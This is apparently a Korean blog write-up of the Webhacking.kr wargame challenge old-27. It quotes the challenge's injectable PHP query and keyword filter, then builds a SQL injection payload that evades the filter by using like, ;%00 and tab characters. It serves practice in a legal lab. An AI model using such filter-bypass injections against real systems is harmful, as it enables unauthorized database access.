-
<Webhacking.kr> old-27Wargame/Webhacking.kr 2021. 12. 12. 19:26
SQL Injection 문제다.
view-source를 통해 페이지 소스 코드를 살펴보면
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 27</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get action=index.php> <input type=text name=no><input type=submit> </form> <?php if($_GET['no']){ $db = dbconnect(); if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack"); $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error"); if($r['id']=="guest") echo("guest"); if($r['id']=="admin") solve(27); // admin's no = 2 } ?> <br><a href=?view_source=1>view-source</a> </body> </html>
먼저, input 박스가 GET 방식으로 작동하는 것을 알 수 있다.
<form method=get action=index.php> <input type=text name=no><input type=submit> </form>
그리고 PHP 부분을 살펴보면
GET 방식으로 전달받은 no에서 #, select, (, 공백, limit, =, 0x를 필터링한다.
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
그 후, 쿼리의 결과를 배열로 하여 r로 가져온다.
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
r['id']가 "guest"이면, "guest"를 출력하고, "admin"이면 문제가 풀린다.
그리고 admin의 no는 2라고 한다.
if($r['id']=="guest") echo("guest"); if($r['id']=="admin") solve(27); // admin's no = 2
쿼리는 select id from chall27 where id='guest' and no=({$_GET['no']})이다.
admin의 no가 2이므로 GET 방식으로 전달받은 no에 "0) or no=2#"의 형태로 입력하면
select id from chall27 where id='guest' and no=(0) or no=2#)가 되어
no가 2인 id, admin을 조회하게 된다.
이 문제에서는 =과 # 그리고 공백을 필터링하기 때문에
=은 like로, #은 ;%00, 공백은 %09로 대체할 수 있다.
따라서, URL창에 ?no=0)%09or%09no%09like%092;%00을 입력하면
문제를 해결할 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
<Webhacking.kr> old-33 (0) 2021.12.15 <Webhacking.kr> old-26 (0) 2021.12.12 <Webhacking.kr> old-23 (0) 2021.12.06 <Webhacking.kr> old-24 (0) 2021.12.06 <Webhacking.kr> old-22 (0) 2021.12.05